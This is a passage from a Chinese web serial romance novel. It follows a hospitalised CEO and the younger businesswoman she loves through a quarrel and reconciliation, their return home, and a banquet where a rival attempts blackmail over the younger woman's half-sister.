韩悦僵了一下,连忙解释道:“我去会议室拿笔记本……抱歉,打扰您了……” “没事。”纪青云语气淡淡,低下头继续看手里的文件。 纪青云清清楚楚听得到外面的所有脚步声,医护每次从门前的路过。 输液管里,一滴一滴液体往下滴落,时间就这么一分一秒过去。 她今天的工作效率有些格外低…… 等得漫长到,她单手取下了眼镜,轻轻揉了揉眉心的时候,又听到门把手旋转的声音。 她没理会,因为韩悦刚刚出去了,这会儿大概是韩悦进来了。 纪撞撞高高兴兴地喵呜了两声,朝着门口的人跑过去。 “你怎么也在啊……”阮陶然敛下睫羽,俯身揉了揉小猫的脑袋。 纪青云捏着眼镜的指尖顿了一下,然后才单手把眼镜戴上,抬眸看过去,隔着镜片,与阮陶然四目相对。 “它在家里有些无聊,所以带它来玩。”纪青云缓缓说道。 这话明显是假的,家里管家佣人好几个,闲来无事都喜欢和小猫玩…… 阮陶然抿了抿唇,心里有句话想要问出来——是你特意把我填到联系家属那一栏的吗? 但又觉得,一时问不出口,两个人就这么看着,一时有些寂静。 是进来的韩悦打破了气氛:“阮小姐,你怎么来了?” “医生给我打电话,说是病人的情况有反复,希望能和家属沟通。” 阮陶然说这句话的时候,仔仔细细看着纪青云的脸色,希望从里面找到些许的波动。 但是没有,她一如往常,让人看不出情绪,是八风不动的稳重,也是清冷如月的矜贵。 “医生应该现在不在……”韩悦似乎懂了什么,“阮小姐进来坐着等。” 病房很大,这是庆南医院VIP病区的一大卖点,病房自带一个大客厅,整套皮质沙发,落错有致的绿植,影影绰绰把病房和客厅区拉开远远的距离。 一个坐在沙发上,一个半躺在病床上,也能隔出来很远很远的距离。 远到闻不到彼此身上的味道。 纪撞撞爬到沙发上,窝在阮陶然的怀里,呼噜呼噜地享受着阮陶然的抚摸。 韩悦给阮陶然泡了茶,放到阮陶然的手边上:“阮小姐,您的茶。” “谢谢。”阮陶然应了一声,礼貌性接过了尝了一口,眸子微微顿了顿。 茉莉普洱,她从未在纪青云的办公室里喝到的味道。 却也是她,喜欢喝的味道。 阮陶然没有放在心上,把杯子放下去,漫无边际刷着手机上的社交媒体的新闻。 她的心思不在手机屏幕上,刷什么内容,都无关紧要。 病床上的人似乎是闷声咳了两声,阮陶然刷手机的指尖微微顿住。 然后就听到翻动文件的声音。 谁也没说话,这样的和谐一直维持了大半个小时。 然后护士敲了敲门,开门进来道:“医生来了。” 走进来的医生是个年轻的女医生,利落的短发,走进来和阮陶然握了手:“你好,是阮小姐吧?我姓李。” “李医生。”阮陶然颔首算是打招呼。 “关于病人的病情……”李医生把手里检查资料放在桌上给阮陶然看,一项一项给阮陶然讲解上面的专业术语。 听了一半,纪青云终于是忍不住插话道:“李医生,这些我都知道……” 她只是想找个借口让阮陶然来一趟,并非是……想要把这些都让阮陶然知道。 “不用管她,您继续讲。”阮陶然头也没回,淡淡说道。 语气平静,但明显颇有深意:“既然我是家属,我就有权利知道这些。” 纪青云:“……”她还不知道阮陶然还有这么一面。 之前阮陶然在她面前都是最乖的。 阮陶然听得心里都有了些无名之火。 这人到底有没有把自己的身体放在心上啊? 起初入院的时候,心肌损伤的程度并不高,可这几天回复的速度缓慢,甚至有反复的趋势。 虽然李医生的措辞很委婉,但是阮陶然来过,当然猜得出是什么情况。 心肌炎最重要的就是要好好休息,给心肌细胞恢复的时间,但这人明显没有…… “多谢李医生。”阮陶然目送着医生离开。 韩悦恰好着急忙慌从外面赶过来,跑了一脑门的汗:“阮小姐,我买了两根逗猫棒回来,您要不要陪小猫玩一会儿?” 纪撞撞围在她脚边喵喵叫。 韩悦趁热打铁:“你看,猫猫都想你了。” “好吧。”阮陶然接过来逗猫棒。 还有韩悦塞给她的冻干。 纪撞撞很给面子,跟着逗猫棒跑来跑去扑这玩儿,软软的一个小团子,在地上像是个毛线团滚来滚去。 玩一会儿,玩累了。 韩悦又拿了甜点过来:“阮小姐,歇一会儿,吃点点心吧。” 不由分说,就把甜点在桌上一样一样摆好了。 小蛋糕、布丁、曲奇饼干……大多是凤梨和蔓越莓的口味。 阮陶然也就看到了和布丁一起,摆在桌面上的新鲜花束——粉百合和白百合,娇嫩欲滴,新鲜得像是刚采下来似的。 吃完了甜点还有水果,吃完了水果,就到了午餐时间了。 午餐摆在了岛台上,纪青云和阮陶然面对面。 摆在阮陶然正前方的是一道糖醋鱼,酸甜口的。 纪青云盛了碗丸子汤,放在了阮陶然面前,手上青青紫紫的输液针孔一下子就清楚地暴露出来。 阮陶然低头喝了两口汤,轻声道:“你不能这样……” “要注意休息。” “虽然说公司的事情也很重要。” “但什么都没有身体重要。” “嗯。”纪青云点了点头,算是听进去了的意思。 却没有在这个话题上继续下去,只是说道:“这道鱼是这家的特色,你尝尝。” 鱼肉裹着的糖醋汁浓稠得可以拉出透亮的细丝,酥脆的外皮里面是雪白的鱼肉,细腻得像是凝脂,带着刚出锅的温热,微微一抿就散开,透着鱼肉本身的清甜,还有挥之不去的酸甜余味。 精挑细选的食材,精选的味道,而且送过来也没有损伤到口感。 阮陶然很喜欢,自然是多吃了两筷子。 就听到纪青云说道:“喜欢的话,晚上可以让大厨做一道糖醋排骨送过来。” 意思是,让她晚上留下来一起吃饭。 阮陶然没说好,也没说不好。 只是轻声转移了话题:“你好好养病,别想太多。” 可刚吃完饭,就听到纪青云跟韩悦说道:“下午会议的文件整理出来,我再看一遍。” 本来应该是上午就完成的工作,可上午的工作效率实在是太低了。 阮陶然蹙了蹙眉,轻声道:“算了,你也不把我说的话当做话。” 一如既往,一意孤行,没人能改变她的想法。 听得阮陶然的话,纪青云似乎是怔了一下,然后对韩悦说道:“算了,不看了。” “那我现在应该做什么?”纪青云的声音淡淡的。 没等到韩悦的声音,阮陶然才意识到,纪青云是在问她。 那双浅琉璃色的眸子注视着她,静静等着她的回答,像是在说——你说,我都会听。 “至少……”阮陶然缓声道,“睡个午觉吧……” “好,听你的。”纪青云站起身。 却并未离开,似乎是思忖了好久,才轻声道:“那你可以不走吗?” 这几乎是从阮陶然进门以来,就写在空气里的一句话。 用猫留住她,用甜品和水果留住她,用好吃的食物留住她…… 到最后,纪青云还是低下头来,亲口说了这句话——可以不走吗? 第72章 第 72 章 一片摸不到底的恐慌…… 阮陶然有些意外, 她听出来了这句话里面的细微差别。 以往,纪青云会说,你留在这儿。——这是一种命令并且不容置疑的口吻。 但是, 今天她说的是,你可以不走吗?——这是选择, 她可以选择是,也可以选择不。 阮陶然有些惊讶,甚至有些怀疑, 是不是刚刚她的意识出现了问题, 所以出现了幻听。 只是沉默了一瞬, 就听到纪青云淡淡的声音:“我让韩悦送你回去。” 她的声音里依旧听不出来什么起伏, 就像是已经被拒绝了, 但这样的拒绝, 她也不难过。 “不用。”阮陶然下意识说道。 然后才轻声解释道:“我请了一天的假, 下午没有事情做。” 她的意思是, 留下来。 纪青云的睫羽轻轻压下去,掩盖住眸子里的波动,轻声道:“好, 隔壁有休息室,可以去睡个午觉。” “你有什么需要的, 都可以告诉韩悦。” “下午你可以在这里看电视剧,也可以……” 她话有些多,像是在担忧阮陶然因为在这里无聊, 更像是在担忧, 阮陶然会走。 阮陶然去了隔壁的休息室,躺在床上翻来覆去,这个午觉到底是没睡着。 窗帘的遮光性很好, 一片浓密的黑暗之中,一片寂静,她听到自己的呼吸声,无比清晰,难以入睡。 不知过了多久,只听到隔壁的门开的声音。 阮陶然看了看时间,才不过下午两点的时间,这个午休,也只有一个小时左右。 这人,又去会议室开会了。 反正睡不着,阮陶然就百无聊赖地刷着泡沫剧,直到下午五点,都没有听到隔壁有回来的声音。 实在等不住了,下了床,走到会议室门口,附耳过去听着。 还没听清楚里面的声音,门咔哒一声开了,她险些一头撞入到一个淮宝里面。 韩悦有些意外:“阮小姐……” 坐在桌边的人抬眸过来,语气淡淡打断了会议汇报人的侃侃而谈:“会议暂停,二十分钟之后继续。” “是,纪总。”汇报人应了一声,纪青云关了麦克风。 阮陶然连忙解释:“那个,我不是有意偷听的……我不想偷听你们的机密……” 现在真的是跳进黄河都洗不清了,万一刚才的会议很重要,她不就成了窃取机密的嫌疑犯? “没关系。”纪青云淡淡回了一句。 似乎是想到了什么,又补充了两句—— “我打断会议不是为了不想让你听。” “会议没有那么重要,而且,你听了也没关系。” “我是为了想听听……你找我有什么事情。” 她在解释。 今天的纪青云,真的让人觉得陌生。 阮陶然眸子顿了顿,目光从纪青云的脸上打量而过,那双一如既往八风不动的眸子里,看不出来什么。 她坐在那儿,穿了件亚麻色的衬衫,依旧是高高在上的矜贵冷淡,依旧是那个大权在握的上位者的姿态。 但是她说出来的话,的确是在解释。 “我是想问……你不需要休息一会儿吗?”阮陶然问道。 韩悦低头,悄悄退出去了,躲得远远的。 “刚才会议间隙休息过了。”纪青云轻声说道。 “连着开会啊?”阮陶然蹙了蹙眉,“纪氏就没有能干活的了吗?” “不是。”纪青云目光落在会议桌上的文件夹上,纪氏的重要文件,一封一封都从她面前过去,都要有她的首肯。 她语气很淡,但是又有些微微上位者的笃定:“我只是习惯了,让一切都在我的掌握之中。” 纪氏是一座庞大的机器,缺了纪青云,依旧能够按照惯性有秩序地运转下去。 但是纪青云不喜欢,她喜欢这种,大权独揽,把所有一切都握在手心里的感觉。 或许是,一直都一无所有。 所以想要一切都拥有。 但到了最后,依旧是一无所有。 她心里这么想,面上却没有任何的表现,只是缓声道:“你是要走了吗?” “耽误了一下午的时间,很抱歉。” “我会跟星悦城那边打招呼,未来一周的星悦城宣传主力会放在Seraphine这边。” 纪青云也不知道自己是为了什么,疯了,明明知道下午没时间,就算是留下来也不会改变什么。 但她还是鬼使神差说出那句话,阮陶然也鬼使神差留下来了。 阮陶然蹙了蹙眉,这算是什么?一场交易? “如果不够的话……”纪青云继续说道。 阮陶然听不下去,冷声道:“纪青云,你觉得我留下来是为了这个吗?” 阮陶然沉沉呼了一口气,缓缓说道:“在你心里,我算是什么呢?” “我的时间可以花钱来买,我的心思可以用利益来交换。” “你对我,就像是对一只宠物,就像是对纪撞撞。” “你开心了,就赏我两块冻干。” “不开心了,我就会被随手丢在一边。” “你的决策不必告诉我,你的想法不必同我商量。” 她一句一句说出去,这还是第一次,她在纪青云面前有些微微的失态。 纪青云想要解释,却觉得有些无力。 想起来自己之前的行为,似乎就是阮陶然说的这样。 她习惯了,用利益交换一切。 她刚想说些什么,只觉得胸口一阵阵的钝疼,眼前像是浮光掠影一般,掠过一片片的黑影。 她有些喘不过气来,放在桌上的手一寸寸收紧,指节用力到微微发白,指甲的尖端,微微刺入到掌心之中。 她没说话,只是长久的寂静,就像是以往一样,她不想解释。 阮陶然的心一寸一寸沉下去,就像是沉入了谷底。 “到此为止吧,我想要的关系,和你想要的,完全不一样……”阮陶然轻声说道。 她感觉到有湿滑的触觉,顺着眼角滑落下去。 她不想在纪青云面前哭,所以直接低下了头,转身就走。 却在一步踏出去的时候,听到背后哐当的一声,桌上的文件夹重重落在地面上。 她在表达愤怒? 阮陶然抹了一把眼泪,转过头来,想要以最骄傲的目光看过去,回应她的愤怒。 她会带着她的尊严,离开她的世界。 却在看清楚了纪青云摇摇欲坠的身形的时候,一下子慌了。 “你……你怎么样?”她几乎是一个箭步冲上去,稳稳扶住了纪青云。 她的唇色有些白,张了张嘴,想要说什么,却没有发出来一分一毫的音节。 “韩悦,韩悦——”阮陶然急急忙忙扬声喊,“来人,快点来人——” 她脑子里忍不住有些空白,扶着纪青云的手也在微微发抖,她不知道怎么做能让纪青云舒服一些。 只是看着一群医护进来,把纪青云带回到病房里,乌泱泱的人群把病床围住,她在外面,什么都看不到。 她在沙发上坐下来,只觉得自己的呼吸也有些错乱,那种手指尖都在发抖的感觉还没有压下去。 “嗡嗡嗡——” “嗡嗡嗡——” 她放在桌面上的手机接连震动。 她拿起来,上面来电显示——姜颂。 她抬手挂断了,却又坚持不懈打进来。 最后她接起来了:“喂……” “我明天,回瑞士。”姜颂的声音停顿了一下,然后才继续说道,“我买了两张票。” “祝你一路平安。”阮陶然轻声说道。 “小花,你真的,不和我走吗?” “为什么呢?” “纪青云就这么好吗?你们在一起的事情,我都听逸卿讲过。” “她并不把你放在心上,一边和你在一起,一边去和别人订婚。” “她非良人。” 姜颂的语气很是语重心长。 “姜颂,你是个好人。”阮陶然轻声道。 “所以,这是好人卡?”姜颂似乎预感到了这样的结尾。 “下一句是不是,但我们不可能?”姜颂问道。 阮陶然张了张口,轻声道:“你已经知道了,我就不必多说了。” “那能不能告诉我,为什么?” 阮陶然没解释太多,只是轻声道:“姜颂,祝你一路平安,未来一片坦途。” 她挂了电话,攥着手机的指节微微用力,重重地呼出来口中的那口气。 她没解释,不是因为不想解释,也不是因为不尊重姜颂,而是她自己也不知道该解释些什么。 她不知道纪青云是不是她的良人。 她也不知道自己心里的想法是什么。 只是刚才纪青云在她面前倒下的时候,她心里是一片摸不到底的恐慌。 她只是知道,对于纪青云的感觉,是独一无二的。 对于姜颂,对于唐逸卿,对于林晓晓,她都没有这样的……心乱如麻。 “阮小姐,阮小姐。”耳边的声音想了好几遍,她才听清楚是李医生在叫她。 她听到李医生说了一连串的话,脑子里的处理系统却反应得有些慢,最后只是大概加工出来几个字—— 只是情绪激动引发了心律不齐,没有危险。 不过李医生依旧是不忘叮嘱,要好好休息,最重要的就是好好休息,否则住院根本没有意义。 医护退出去,韩悦走过来,轻声道:“阮小姐,现在送您走吗?” 第73章 第 73 章 不躺一张床上? 纪青云只觉得全身都没什么力气, 像是有沉甸甸的力度压在胸口上,也压在眼皮子上。 她只听得到自己有些不规律的呼吸声和心跳声,听到耳边脚步的杂乱。 睡, 又似乎没有睡着。 醒,又似乎醒不过来。 被困在一片光怪陆离之中, 嘈杂的声音在耳边掠过去。 想张口说什么话,但是喉咙又似乎被紧紧按住,一片喑哑, 一个音节都发不出来。 她脑子里还都是阮陶然的那些话。 对于这些话, 她无话可说, 无话可辩。 她的确, 曾经不觉得解释是很重要的事情, 曾经也想当然认为, 人生的所有决策都可以一己掌控。 她喜欢那种把一切握在手心里的感觉, 包括把感情握在手心里, 把身边的伴侣握在手心里。 但阮陶然很明显不喜欢这样。 她不喜欢这样…… 她……大概是走了吧…… 难怪她无法挽回,她做什么都是错的,做得越多, 错得越多。 纪青云没再继续挣扎,任由自己沉了下去。 等到意识渐渐回笼的时候, 耳边没有那些嘈杂的声音,只有有节奏的心电监护仪的声音,滴滴滴—— 回荡在整个空间之中, 显得寂寥孤寂。 纪青云眉心使劲儿拧紧了, 用了好一番力气,才微微睁开眼睛来。 然后就听到耳边有些惊喜的声音:“你醒了?” 纪青云转头过去,一瞬之间有些微微怔住, 没说话,没动作,她一瞬间觉得,自己仿佛还在梦中。 不然,为什么她还在? 纪青云的脸色有些白,像是一张一戳就破了的纸,和白色的枕头白色的床单融为一处。 没有戴眼镜,那双浅琉璃色眸子就格外清楚,有些微微的迷茫,还有一些微不可察地细细的脆弱。 躺在这儿,像是不会呼吸的假人,和平日里那个高高在上的纪总,简直是判若两人。 阮陶然有些着急:“你怎么不说话,是不是还有哪儿不舒服?我去喊医生。” 着急忙慌,她甚至记不得床头还有呼叫铃,起身就要往外走。 衣角却微微一沉,被轻轻的力度拽住了。 阮陶然脚步一顿,她听到纪青云的声音,很轻很淡,没有颐指气使,只有微微的气音,她说:“别走。” “好,我不走。”阮陶然转回头,在床边坐下了。 “怎么哭了?”纪青云轻声说道。 “没有。”阮陶然低下头,企图掩盖自己神情的波动。 她很少在纪青云面前哭,这次也不知道是为什么,看着纪青云躺在床上不知什么时候醒来的时候,她有些控制不住。 纪青云的唇角似乎是轻轻扬了扬,目光落在阮陶然的发顶上。 还有攥住了她的那只手…… “对不起。”纪青云轻声说道。 “我不知道该那什么与你交换,浪费了一下午的时间,我总觉得过意不去。” “我不知道,你不喜欢这样。” “下次……”纪青云的声音卡住了,她自己都不知道有没有下次。 下次,她也不知道怎么做。 她心里是有些茫然的。 阮陶然刚刚按了床头的呼叫铃,此刻医护已经走了进来,朝着病床围了过来。 阮陶然下意识想要后退半步,让出空间给他们做检查。 但只退了一半,手就被纪青云伸手抓住了。 她看过来,没说话,只是紧紧抓住了阮陶然的手没有松手。 似乎明白了什么,李医生连忙说道:“没关系,牵着手也可以做检查的。” 阮陶然没挣扎,就任由她这么牵着,站在床边。 所幸,一切都还好,还在可控范围之内,这次情绪波动导致状态有些回落,但还没有恶化到不可收场的地步。 纪青云本人的身体素质一向也都还好,只要遵循医嘱,继续用药治疗就好。 这个牵手的动作维持了很久,维持到阮陶然手心里起了一层微微的汗意。 但是纪青云的指尖很凉,凉得像是暖不化的冰。 医护走了,纪青云终究还是松开了手,轻声道:“夜深了,我让韩悦送你回去。” “好。”阮陶然点了点头。 “明天还来吗?”纪青云轻声问道。 “好。”阮陶然再次点了点头。 左右公司的事情不多,阮陶然开了早上的例会,就带着要处理的文件往医院赶。 推开门,不见病床上有人,心里大概有了计量,直接去了会议室。 看到她推门进来,纪青云的眸子似乎有片刻的波动,张口想要叫停会议。 阮陶然却已经摇了摇头,示意她继续,然后在纪青云身边坐下了。 她也带了“功课”过来。 要她处理的文件不多,但是她要看的文件很多。 她野心很大,不满足于现在的地位,想要往上走,就要懂得更多。 奈何,她前二十多年都没学过经商,此刻学起来也有些吃力。 一份文件看完,里面倒是有很多不懂的地方。 她一一作了标记。 看到结尾,才意识到,会议室里的声音不知道什么时候停住了。 纪青云没走,电脑屏幕上会议结束的框甚至都没有关掉,只是转头,静静地看着她。 那双眸子,沉而静,像是深渊,引得人心里一紧,阮陶然道:“要帮你倒杯水吗?” “韩悦刚才倒了,这个是你的。”纪青云把杯子放在阮陶然的手边上。 温水,里面加了一点蜂蜜,有一点淡淡的甜味,但很细微。 “你看得很专注,韩悦进来好几趟,你都没有意识到。”纪青云淡淡说道。 “嗯,有很多东西不懂。”阮陶然捧着手里的杯子,微微点了点头。 “我可以……”纪青云说了一半,顿住,道,“你们公司的机密,我不方便……” “都是些陈旧的文件,没什么不方便的。”阮陶然马上说道。 这人开会都不避着自己,这点文件不给看,未免显得太过小气。 只是说完,阮陶然补了一句:“工作时间很久了,我怕你太劳神。” “不会。”纪青云看了看腕表,“距离午餐还有一个小时,还有点时间。” 阮陶然把文件递了过去,上面的标记清清楚楚。 她不擅长的事情,纪青云得心应手:“这里这个数据是这个意思,你看前年这里……” 钢笔点过文件,一个个知识点拆分了,详解了给阮陶然讲。 一份文件,一个小时也没讲完。 “下午继续。”纪青云说道。 “不行,下午要好好休息。”阮陶然直接打断了她的话。 “我学这个也不是一天两天就能学会的,以后慢慢来,不急于这一会儿。” “好。”纪青云点了点头,眸子里似乎有微微的柔和,“以后慢慢来。” 阮陶然低头收拾文件,就听到身边传来淡淡的声音,淡淡的,却有些微微紧张的声音:“我们,算是和好了吗?” “……”阮陶然的动作顿了一下。 “我也不知道。”阮陶然如实说道。 好像没有完全回去,但好像有一些变化已经发生了。 “你这几天都来医院的话……”纪青云说道。 阮陶然手心一紧,直接打断了她的话:“我不需要任何事情作为交换。” “不需要你给我钱,给我利益,或者是作为教我的交换,这些我都不需要。” “都是我心甘情愿的,我愿意过来,仅此而已。” “我不想用这件事情做任何交换。” “我不是这个意思。”纪青云有些怔,阮陶然就像是被触碰到了什么点,一连串说了这么多的话。 纪青云继续说道:“我的意思是,这里回隆华天域比较方便,你这几天都来的话,可以回去住,你的房间还在。” 阮陶然:“……”她抿了抿唇,神情有些微微的不自然。 纪青云没说什么,她像是被踩了尾巴的猫一样。 实在是有之前的经验,她总觉得纪青云会说一些让人气恼的话出来。 “那可就方便了,晚上我可以和然然一起顺路回去。”顾寄欢的声音从门口传递过来。 她倚在门口,笑意盈盈看着两个人,目光在两个人之间转来转去。 “顾医生……”不知为何,阮陶然总有种被人看穿了什么的感觉,脸上有些微微的烫。 “没关系,恰巧路过。”顾寄欢抬了抬手里的食盒,“一起吃饭,加个餐?” “好。”纪青云点了头。 顾寄欢很明显是借着一起吃饭的名头来看情况的。 看起来,两个人没有继续冷战,还会给彼此夹菜,虽然气氛还有些微微的尴尬,一切都在往正路上走。 下午还要上班,中午要抓紧时间休息,没时间浪费。 吃完饭,顾寄欢急匆匆出了门,就给陆时年发了消息—— [你输了。] 陆时年:[怎么可能?纪总那个性格,真的会服软?] 顾寄欢:[反正两个人目前看起来是和好了,应该是纪总服软了吧,你输了。] 陆时年:[……] 顾寄欢:[快快快,承认你输了。] 这话里多少带着点撒泼打滚蛮不讲理的架势。 顾寄欢:[这都不承认,你爱不爱我吗?] 陆时年:[……] 陆时年:[我输了。] 顾寄欢:[叫姐姐。] 陆时年:[……] 陆时年:[姐姐,我输了。] 阮陶然从病房里出来,有些意外:“顾医生,你还在啊?” “回了条消息。”她眼眉之中带着灿烂的笑意,是赢了的得逞,也是被偏爱的得逞。 “哎?你要走吗?”顾寄欢问道。 “不走,去午休。”阮陶然指了指旁边的休息室。 顾寄欢沉默了一下,轻声道:“你们……不躺一张床上午休的?” “不啊。”阮陶然摇了摇头,有些懵的眨了眨眼,“有什么问题吗?” 别说现在不躺一起了,当时最亲密的时候,她们似乎都没怎么同床共枕过。 牵手、拥抱、亲吻……似乎就已经是最亲密的举止了。 “啧,我这算是输了还是赢了……”顾寄欢喃喃自语着走了。 不管了,反正姐姐这个便宜已经占完了,小陆总不至于那么小气,再让她吐出来。 阮陶然看着病房门,抿了抿唇。 现在……是应该……躺一起午休了吗? 第74章 第 74 章 别急,有我。 日子就这么平静地过去, 终于到了出院的日子。 已经很久,没有两个人这样一起回家了。 “阮小姐。” “纪总。” 管家迎了上来,脸上也忍不住有些喜盈盈的神情, 两个人一起回来,这个家也总算是有了几分家的意思。 纪青云脱下来身上的外套, 恰好此刻手机响了,是个工作电话。 阮陶然很自然过去,主动把她手里的外套接下来了。 纪青云的眸子波动了一下, 唇角微微扬起, 接起来电话, 走到落地窗旁边。 窗外的花园里, 已经是冬日的萧索, 好似是说这两日要下雪了, 凛冽的北风吹过去, 枯枝摇晃。 花园里的一盏孤灯亮着, 映出来一片昏黄的光线,于萧瑟之中,增添一分暖意。 这个电话打了很久, 差不多有四十分钟。 纪青云挂了电话回头,眸色也忍不住浮上一层微微的暖意。 餐厅的桌子上已经摆好了晚餐, 电视里面放着晚间新闻,暖气把整个屋子暖成春天,阮陶然坐在毛绒地毯上, 手里拿着一根逗猫棒, 甩来甩去逗着纪撞撞在地上跑。 这是一个平凡的夜晚。 万家灯火里,又无数灯火之下,就是这样的场景。 却也是, 纪青云此生第一次触碰到的光景。 是家的感觉啊。 纪撞撞跑累了,竖着尾巴朝着纪青云跑过来,喵呜喵呜地在她的腿边上蹭了蹭。 “好啊,喂了你这么多冻干,她勾勾手指头就跑了。”阮陶然语气之中微微有些不服气。 修长的指节,穿过毛茸茸的猫毛,精准地拎住了它后脖颈。 “喵呜~”纪撞撞被捏住了命门,也不挣扎,只是可怜巴巴看着纪青云。 “不准欺负妈妈。”纪青云语气认真,看着纪撞撞的眼睛。 纪撞撞:“……”哪有欺负?一只小猫可扛不起这么大的锅。 纪青云拎着小猫就走过来了,放在地毯上,推了推小猫屁股:“去道歉。” 纪撞撞:“喵呜?” 纪青云:“做错了事情就要道歉,这是小孩子都懂的道理。” 阮陶然忍不住噗嗤一声笑出来:“它又不是小孩子,它可听不懂这些大道理。” “但我听得懂……”纪青云的语气顿了一下,然后轻声道,“对不起。” 阮陶然忍不住眼眶有些微微的酸。 她从未想过,纪青云会说这样的话。 在这次之前,她也从未想过,纪青云这样的人,会在她面前表露出来自己的脆弱。 她低下了头,掩盖住了眸子里的酸涩,轻声道:“好了,吃饭了。” 她算是接受了,阮陶然明白,纪青云也明白。 桌上有一份话梅小排,阮陶然只尝了一口,就有些怔住,和林晓晓做的一模一样的味道。 纪青云见她喜欢,又给她夹了一块,缓缓说道:“有件事,我还需要和你一起商量。” “你说……”阮陶然咬了一口排骨,心里有些浪潮翻涌。 “后天我要去一趟海城,参加明氏的一场宴会。” “我需要一个女伴。” “如果你方便的话……可以陪我一起去吗?” “不方便的话也没关系,我有别的人选,只是也需要提前跟你说一下。” “只是作为女伴,并不会有任何别的关系。” 往日里喜欢一锤定音的纪总,说了很多话,她思虑了很多,甚至把所有的结果的可能性都罗列出来了。 “好。”阮陶然点了点头,说道,“我有时间。” 海城明氏,在整个海城都是举足轻重的地位,能够参加宴会的人各个身份不一般。 纪青云出现在现场的时候,还是引来了周围一片的目光。 象牙白的上衣,雅致的V型领口一层层的褶皱收束,衬得脖颈修长,腰间的同色系宽腰封,几道细密的压纹,将上衣和裤装妥帖仙界,也把腰线勾勒出一个极好看的弧度。 金丝眼镜之后,一双浅琉璃色的眸子,带着清冷柔光,像是精心描摹的画,精致到头发丝都透着矜冷之感。 阮陶然穿了件荷叶边的层层叠叠的连衣裙,轻盈的料子像是蝴蝶振翅,随着步态荡漾出来柔美的弧度。 她自然而然,伸手挽住纪青云的手,然后跟着纪青云走到宴会的主人面前。 “许总。”纪青云伸手过去,指尖和对方微微碰触,一触即分。 这是个看上去才二十多岁的女孩,清秀舒朗的长相,香槟色的长裙,满身都是名媛千金的矜贵。 眉宇之间的自傲不经意之间流露出来,是自小而大被娇养的骄矜之色。 “纪总,远路而来,辛苦了。”许知言下颌微微颔首,目色落在阮陶然身上。 纪青云介绍说道:“阮陶然,江城灵南集团阮总,也是我的女伴。” “只是女伴?”许知言唇边似乎有轻轻的笑容。 “许总说笑了。”纪青云不经意之间把这个话题带过去。 来之前只说了是女伴,她现在并不能,在阮陶然不知情的情况下,说出来女朋友之类的话。 好在,许知言也不是什么打破砂锅问到底的人。 “姐姐在楼上,这位阮小姐就暂时不能上去了。”许知言道。 “好。”纪青云点了点头,回头叮嘱阮陶然,“你在这里等我,有事情可以给我打电话。” “嗯。”阮陶然点了头。 她知道,纪青云这次来不是为了玩的。 当时为了逼宫,让老爷子把她请回来,纪青云把纪氏折腾得几乎四分五裂,这段时间都还没有缓过气来。 各位董事和股东都眼巴巴看着,等着纪青云回来之后,能够扭转乾坤。 若是纪青云没什么建树,人心摇动,事情就脱离掌控了。 现在,纪氏需要朋友帮忙。 明氏是最好的选择。 而明氏最终的决策权,不在许知言,而在于她姐姐明瑾。 纪青云去见真佛了,阮陶然随手拿了杯果汁,在角落找个位置坐下了。 衣衫鬓影,酒杯摇晃,你来我往的应酬,这个场子里人人都有自己的目的,自然没人在意阮陶然。 阮陶然有些微微出神,直到身边有人,在离她很近的位置,贴着坐下了。 “在这儿也能见到阮小姐,真是意外。”熟悉的声音,阮陶然攥着杯子的指尖一下子收紧。 她几乎是本能往旁边躲开了些,才抬眸看来人。 孙绍祖手里拿了杯香槟,凑过来把杯子扬起来:“阮小姐,敬你一杯。” “不必了,我们不熟。”阮陶然淡淡说道。 “你不想知道,你的好姐姐,现在的现状吗?”孙绍祖轻轻笑了笑。 “与我有什么关系?”阮陶然从来不把阮如月放在眼中。 她没有刻意收集过有关阮如月的消息,只知道,她和家里大闹了一场,然后风风光光跟着孙绍祖回宝岛了。 按照既定的路线,生下孩子,奉子成婚,成为孙家少夫人,一步登天。 “其实,我没有那么喜欢她。”孙绍祖晃了晃手里的酒杯,靠在沙发上,脸上一派慵懒的笑。 “我觉得……”他沉吟了片刻,看向阮陶然,“你比她有意思多了。” “够了。”阮陶然站起来,“我不想和你聊天。” 阮陶然转身就走,却听到孙绍祖的声音:“阮家的大小姐,在夜场里服侍客人,随便出点钱,就可以买一晚春宵,这样的传闻要是传出去,阮小姐,你脸上也不好看吧?” 阮陶然脚步一顿,转过头来:“你说什么?” 阮如月那么骄傲的人,怎么可能? “涉及到你的名声,你终于还是在意了。”孙绍祖唇角扬了扬,慢悠悠喝了口酒水。 “她是你孩子的妈妈,你就这样折辱她?”阮陶然的指尖收紧,只觉得自己脑袋里跳着疼。 眼前的富家公子,满脸的风流不羁,语气漫不经心,谈起来这样的事情,就像是事不关己一样。 “那孩子,没保住。”孙绍祖眸子沉了沉,轻声道,“她自己作妖,怪不得别人。” “不过,我骗了她,我告诉她是早产,孩子在我手里。” “只有她乖乖听话,以后才有机会见到孩子。” “如果我高兴,我还有可能原谅她,让她做个外室。” “孙绍祖。”阮陶然气得声音有些压不住,她完全听不下去孙绍祖的话了。 阮如月的确不是什么好人,但孙绍祖也的确是太过分。 从一开始,他就没想过和阮如月认真,只是玩玩。 没了阮家,阮如月少了一部分利用价值,没了孩子,阮如月连最后的尊严都不配拥有了。 “怎么?担心我把照片放出去,你也声名狼藉?”孙绍祖眼神示意,“阮小姐,坐,慢慢聊。” “你到底想要什么?”阮陶然并不觉得,他今天这段话,就是为了耀武扬威。 “做个交易。”孙绍祖指尖一转,一张名片推了出来,放在阮陶然面前。 “明天会有人联系你……”孙绍祖起身,却也没有完全站起身,反而是往前探了探身子,指尖抬手去触碰阮陶然的脸。 阮陶然往后微微缩了一下,那手也没有逼近过来。 因为那手腕被一股沉沉的力道紧紧攥住了。 纪青云的声音里透着冷:“孙少,这手不要了,我可以帮你剁了。” 她手腕一翻,一脚踹在孙绍祖的膝弯上,猛地力道压在他的小臂上,往前一甩,就把孙绍祖整个砸在了沙发上。 “走。”纪青云伸手,紧紧攥住了阮陶然的手。 阮陶然毫不犹豫,抬手拿起来桌子上的名片,然后才跟着纪青云后面往外走。 这里的动静并不是很大,纪青云下手也有分寸,没有把人弄伤。 毕竟东道主是明家。 把人拉到外面,纪青云才上下仔细打量着,检查了一遍阮陶然:“你没事吧?” “没有。”阮陶然摇了摇头,指尖捏着那个名片。 抿了抿唇,最后还是一五一十把刚才孙绍祖说的话全都说了一遍。 看着她手里的名片,纪青云心中有了答案:“你想救她?” “嗯。”阮陶然点了点头,缓缓说道,“可能……我这样想不太明智……” 不知道孙绍祖会开出什么条件,也不知道会发生什么,阮陶然只知道,如果她什么都不做,她良心不安。 阮如月的确是敌非友,但……她不能对一个女孩,这样的处境,置之不理。 